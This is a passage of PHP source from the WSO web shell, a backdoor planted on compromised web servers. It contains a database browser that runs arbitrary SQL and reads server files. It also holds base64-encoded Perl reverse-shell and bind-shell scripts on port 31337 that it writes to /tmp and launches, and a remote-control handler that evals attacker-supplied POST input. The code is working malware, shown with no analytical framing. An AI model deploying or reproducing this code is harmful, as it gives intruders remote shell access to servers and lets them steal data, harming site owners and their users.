1164 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1165 if(f.p1) f.p1.value='';
1166 if(f.p2) f.p2.value='';
1167 if(f.p3) f.p3.value='';
1168 }
1169 }
1170 function st(t,l) {
1171 d.sf.p1.value = 'select';
1172 d.sf.p2.value = t;
1173 if(l && d.sf.p3) d.sf.p3.value = l;
1174 d.sf.submit();
1175 }
1176 function is() {
1177 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1178 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1179 }
1180 </script>";
1181 if (isset($db) && $db->link) {
1182 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1183 if (!empty($_POST['sql_base'])) {
1184 $db->selectdb($_POST['sql_base']);
1185 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1186 $tbls_res = $db->listTables();
1187 while ($item = $db->fetch($tbls_res)) {
1188 list($key, $value) = each($item);
1189 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1190 $value = htmlspecialchars($value);
1191 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
1192 }
1193 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1194 if (@$_POST['p1'] == 'select') {
1195 $_POST['p1'] = 'query';
1196 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1197 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1198 $num = $db->fetch();
1199 $pages = ceil($num['n'] / 30);
1200 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1201 echo " of $pages";
1202 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1203 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1204 $_POST['p3']--;
1205 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1206 else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1207 echo "<br><br>";
1208 }
1209 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1210 $db->query(@$_POST['p2']);
1211 if ($db->res !== false) {
1212 $title = false;
1213 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1214 $line = 1;
1215 while ($item = $db->fetch()) {
1216 if (!$title) {
1217 echo '<tr>';
1218 foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1219 reset($item);
1220 $title = true;
1221 echo '</tr><tr>';
1222 $line = 2;
1223 }
1224 echo '<tr class="l' . $line . '">';
1225 $line = $line == 1 ? 2 : 1;
1226 foreach ($item as $key => $value) {
1227 if ($value == null) echo '<td><i>null</i></td>';
1228 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1229 }
1230 echo '</tr>';
1231 }
1232 echo '</table>';
1233 } else {
1234 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1235 }
1236 }
1237 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1238 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1239 echo "</textarea><br/><input type=submit value='Execute'>";
1240 echo "</td></tr>";
1241 }
1242 echo "</table></form><br/>";
1243 if ($_POST['type'] == 'mysql') {
1244 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1245 if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1246 }
1247 if (@$_POST['p1'] == 'loadfile') {
1248 $file = $db->loadFile($_POST['p2']);
1249 echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1250 }
1251 } else {
1252 echo htmlspecialchars($db->error());
1253 }
1254 echo '</div>';
1255 wsoFooter();
1256 }
1257 function actionNetwork() {
1258 wsoHeader();
1259 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1260 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1261 echo "<h1>Network tools</h1><div class=content>
1262 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1263 <span>Bind port to /bin/sh [perl]</span><br/>
1264 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1265 </form>
1266 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1267 <span>Back-connect [perl]</span><br/>
1268 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1269 </form><br>";
1270 if (isset($_POST['p1'])) {
1271 function cf($f, $t) {
1272 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1273 if ($w) {
1274 @fwrite($w, base64_decode($t));
1275 @fclose($w);
1276 }
1277 }
1278 if ($_POST['p1'] == 'bpp') {
1279 cf("/tmp/bp.pl", $bind_port_p);
1280 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1281 sleep(1);
1282 echo "<pre class=ml1>$out
1283" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1284 unlink("/tmp/bp.pl");
1285 }
1286 if ($_POST['p1'] == 'bcp') {
1287 cf("/tmp/bc.pl", $back_connect_p);
1288 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1289 sleep(1);
1290 echo "<pre class=ml1>$out
1291" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1292 unlink("/tmp/bc.pl");
1293 }
1294 }
1295 echo '</div>';
1296 wsoFooter();
1297 }
1298 function actionRC() {
1299 if (!@$_POST['p1']) {
1300 $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
1301 echo serialize($a);
1302 } else {
1303 eval($_POST['p1']);
1304 }
1305 }
1306 if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1307 else $_POST['a'] = 'SecInfo';
1308 if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1309 exit;